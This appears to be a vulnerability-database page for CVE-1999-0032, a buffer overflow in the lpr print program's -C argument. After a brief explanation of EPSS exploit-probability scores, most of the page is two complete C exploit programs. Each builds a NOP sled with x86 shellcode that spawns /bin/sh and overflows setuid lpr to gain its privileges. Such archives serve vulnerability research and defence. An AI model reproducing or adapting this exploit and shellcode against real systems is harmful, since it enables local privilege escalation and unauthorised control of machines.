CVE-1999-0032 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/707/info Due to insufficient bounds checking on arguments (in this case -C) which are supplied by users, it is possible to overwrite the internal stack space of the lpr program while it is executing. This can allow an intruder to cause lpr to execute arbitrary commands by supplying a carefully designed argument to lpr. These commands will be run with the privileges of the lpr program. When lpr is installed setuid or setgid, it may allow intruders to gain those privileges. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); }

/* source: https://www.securityfocus.com/bid/707/info BSD/OS 2.1,FreeBSD 2.1.5,NeXTstep 4.0/4.1,SGI IRIX 6.4,SunOS 4.1.3/4.1.4 lpr Buffer Overrun Vulnerability (1) Due to insufficient bounds checking on arguments (in this case -C) which are supplied by users, it is possible to overwrite the internal stack space of the lpr program while it is executing. This can allow an intruder to cause lpr to execute arbitrary commands by supplying a carefully designed argument to lpr. These commands will be run with the privileges of the lpr program. When lpr is installed setuid or setgid, it may allow intruders to gain those privileges. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); }